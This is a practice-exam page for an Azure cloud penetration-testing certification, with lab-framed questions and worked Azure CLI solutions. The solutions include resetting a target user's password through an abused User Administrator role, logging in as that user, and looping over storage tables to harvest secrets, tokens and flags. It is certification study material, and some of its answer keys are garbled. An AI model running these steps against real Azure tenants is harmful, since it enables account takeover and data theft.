The SecOps Group CCPenX-Az Practice Exam Questions & Answers

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31 Practice Questions (Our Bank)
420 minutes Exam Duration
Over 60% Passing Score
GBP 400 Official Exam Fee
Exam Code
CCPenX-Az
Full Name
Certified Cloud Pentesting eXpert - Azure
Issuing Body
The SecOps Group
Question Format (Our Bank)
Multiple Choice
Delivery
Online proctored, on-demand, from anywhere via VPN
Eligibility
Recommended: 5+ years professional pentesting experience and 12+ months cloud security experience
Validity
Does not expire. version is documented
Practice Questions

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Using the previously gained access to the Azure environment, extract an access token from the Web App's environment and use it to impersonate its Managed Identity. Which of the following roles is assigned to the Web App's Security Principal?

Correct Answer: D, D
Explanation

Detailed Solution:

First identify the managed identity attached to the Web App.

az webapp identity show \

--name RnD-Tools \

--resource-group Excalibur-Resources \

--output json

You should see a user-assigned managed identity similar to:

{

'userAssignedIdentities': {

'/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.ManagedIdentity/userAssignedIdentities/WebAppTokenIdentity': {

'clientId': 'cf3664d4-5cec-4feb-b0ef-88b7958809df',

'principalId': 'efe89e83-010f-42f6-9576-30531fa47af7'

}

}

}

Now query the role assignments for the managed identity's principal ID:

az role assignment list \

--assignee efe89e83-010f-42f6-9576-30531fa47af7 \

--all \

--output table

The returned custom role is:

AppService-Auditor

That makes option D correct.

Final Answer:

A virtual machine has a system-assigned managed identity. From the VM shell, which Azure CLI command authenticates using that identity?

A. az login --service-principal B. az login --identity C. az account get-access-token --tenant D. az ad signed-in-user show

Correct Answer: B
Explanation

Detailed Solution:

On an Azure VM with a system-assigned managed identity, run:

az login --identity

Then verify:

az account show

For a user-assigned managed identity, specify the client ID:

az login --identity --client-id <client-id>

Microsoft's Azure CLI documentation confirms az login --identity for system-assigned managed identities and --client-id, --object-id, or --resource-id for user-assigned identities.

Correct answer:

SIMULATION

Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?

Correct Answer: A
Explanation

The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.

Detailed Solution:

Since the second compromised user is a User Administrator, abuse that role to reset the password of the target user.

az ad user update \

--id [email protected] \

--password 'NewP@ssw0rd12345!' \

--force-change-password-next-sign-in false

Now authenticate as the target user.

az login -u [email protected] -p 'NewP@ssw0rd12345!'

Confirm the login context:

az account show

Check what Azure resources this user can see:

az resource list --output table

Check role assignments:

az role assignment list --all --output table

If the user has storage data-plane permissions, enumerate storage accounts:

az storage account list --output table

If the storage account is known from the lab chain, use it directly:

az storage table list \

--account-name excaliburstore \

--auth-mode login \

--output table

Query each table:

az storage entity query \

--account-name excaliburstore \

--table-name <table-name> \

--auth-mode login \

--output json

A faster method:

for table in $(az storage table list --account-name excaliburstore --auth-mode login --query '[].name' -o tsv); do

echo ' $table '

az storage entity query \

--account-name excaliburstore \

--table-name '$table' \

--auth-mode login \

--output table

done

Search the output for:

Flag

SAS

token

container

storage

secret

The flag discovered in this stage is the Q7 answer.

Final Answer:

Use the Flag{...} value returned from the accessible table/storage data after logging in as [email protected].

SIMULATION

A storage account allows public blob access. Enumerate containers and identify the public container that exposes backup files.

Correct Answer: A
Explanation

public-backups

Detailed Solution:

Try listing containers using Azure CLI:

az storage container list \

--account-name prodreportstore01 \

--auth-mode login \

--output table

If anonymous access is allowed, test via blob endpoint:

az storage blob list \

--account-name prodreportstore01 \

--container-name public-backups \

--auth-mode key \

--output table

In a lab, you can also test the public URL pattern:

https://prodreportstore01.blob.core.windows.net/public-backups/

Expected exposed container:

public-backups

Final answer:

public-backups

SIMULATION

During App Service enumeration, you discover that the compromised user can read App Service application settings. Find the hidden flag stored in the application settings.

Correct Answer: A
Explanation

Flag{app_settings_should_not_store_secrets}

Detailed Solution:

Query App Service settings:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Search for suspicious keys:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--query '[?contains(name, 'FLAG') || contains(name, 'Flag') || contains(name, 'SECRET')]' \

--output table

Expected output:

Name SlotSetting Value

---------- ------------- ----------------------------------------

APP_FLAG False Flag{app_settings_should_not_store_secrets}

The flag is:

Flag{app_settings_should_not_store_secrets}

SIMULATION

After gaining access to the Azure tenant, enumerate all resource groups available to the compromised user. One resource group contains the word prod. What is the name of that resource group?

Correct Answer: A
Explanation

rg-prod-apps-eastus

Detailed Solution:

List accessible resource groups:

az group list --output table

For a cleaner search:

az group list \

--query '[?contains(name, 'prod')].{Name:name,Location:location}' \

--output table

Expected output:

Name Location

-------------------- ----------

rg-prod-apps-eastus eastus

The resource group containing prod is:

rg-prod-apps-eastus

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Study Guide

What the The SecOps Group CCPenX-Az Exam Covers

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Domain 1: Enumeration & Reconnaissance

Master Azure DNS enumeration, IP and host discovery, and portal endpoint identification. Discover Entra ID tenants, enterprise applications, and identify publicly accessible resources including blob URLs and app services.

Sample question from this domain above: Q6

Domain 2: Identity and Access Management (IAM)

Enumerate Entra ID users, groups, and roles, then abuse misconfigured role assignments. Target Conditional Access and MFA bypass techniques, exploit federated identities, and manipulate Azure AD tokens including refresh and access token abuse.

Sample questions from this domain above: Q1Q2

Domain 3: Azure Resource Misconfigurations

Exploit misconfigured storage accounts, key vaults, and logic apps. Abuse Azure App Service environments, Automation Accounts, and managed identities. Extract secrets from custom script extensions and leverage resource graph for reconnaissance.

Sample question from this domain above: Q4

Domain 4: Vulnerability Identification

Identify SSRF, RCE, IDOR, and insecure deserialization in Azure hosted applications. Detect overprivileged OAuth apps and misconfigured API Management. Analyze RBAC misconfigurations and exploit Azure Arc or Bastion weaknesses.

Domain 5: Exploitation Techniques

Steal and reuse Azure tokens via compromised services or proxies. Extract secrets from key vaults and app configs. Execute lateral movement through function apps and automation accounts, then establish persistence using app registrations and service principals.

Sample questions from this domain above: Q3Q5

FAQ

CCPenX-Az Exam FAQ

Common questions about the exam itself

What makes CCPenX-Az harder than a standard Azure administration exam?
CCPenX-Az is a practical CTF where you exploit a real Azure tenant for 7 hours, not a multiple choice test. You must chain exploits together across misconfigurations, roles, and resources to achieve control. Conceptual knowledge alone is not enough because speed under pressure matters.
Do I need Azure certifications before attempting CCPenX-Az?
No specific Azure certifications are required. Instead, The SecOps Group recommends you have 5+ years of pentesting experience and at least 12 months working in cloud security. Active hands-on penetration testing background is what counts.
Which domain in CCPenX-Az do most candidates struggle with most?
Identity and Access Management causes the most difficulty because Entra ID role abuse and token manipulation chains require understanding both Azure AD architecture and privilege escalation logic. Practice live token extraction from IMDS and Automation Account runbook abuse in your own tenant.
How long should I prepare for the CCPenX-Az exam?
Realistic preparation takes 4 to 8 weeks if you already have pentesting experience. Focus on hands-on practice in a test Azure environment, enumeration command fluency, and working through real attack chains. Conceptual study alone extends this timeline significantly.
What exactly happens on exam day for CCPenX-Az?
You connect to a real Azure tenant via VPN and get 7 hours to identify and exploit vulnerabilities. Around 10 challenges exist as flags you must extract by exploiting misconfigurations and chaining privilege escalation. You submit flags to the platform for scoring.
Can I retake CCPenX-Az if I fail?
Yes, one free retake is included if you fail. After that, you must purchase a new exam seat. The certificate does not expire, but the exam version is documented so you can retake updated versions as Azure attack techniques evolve.
How long does a CCPenX-Az certification stay valid?
The certification does not expire. However, The SecOps Group documents the exam version on your certificate, so you may want to retake newer versions periodically as Azure security controls and attack patterns change.
What job roles is CCPenX-Az aimed at?
The exam targets senior penetration testers, red team operators, cloud security engineers, and security analysts who focus on offensive Azure security. It demonstrates practical exploitation capability rather than defensive administration knowledge.
How does CCPenX-Az compare to CCPenX-AWS?
Both are expert-level 7-hour CTF exams from The SecOps Group with the same difficulty and pass-fail thresholds. CCPenX-Az focuses on Azure AD abuse, managed identities, and Blob Storage, while CCPenX-AWS covers Lambda, IAM role chaining, and S3 exploitation.
What happens if I score between 60 and 75 percent on CCPenX-Az?
Scoring above 60 percent means you pass and receive a certificate. Scoring above 75 percent adds a merit notation to your certificate. The certificate itself contains the version and date so employers and teams can verify what specific exam iteration you completed.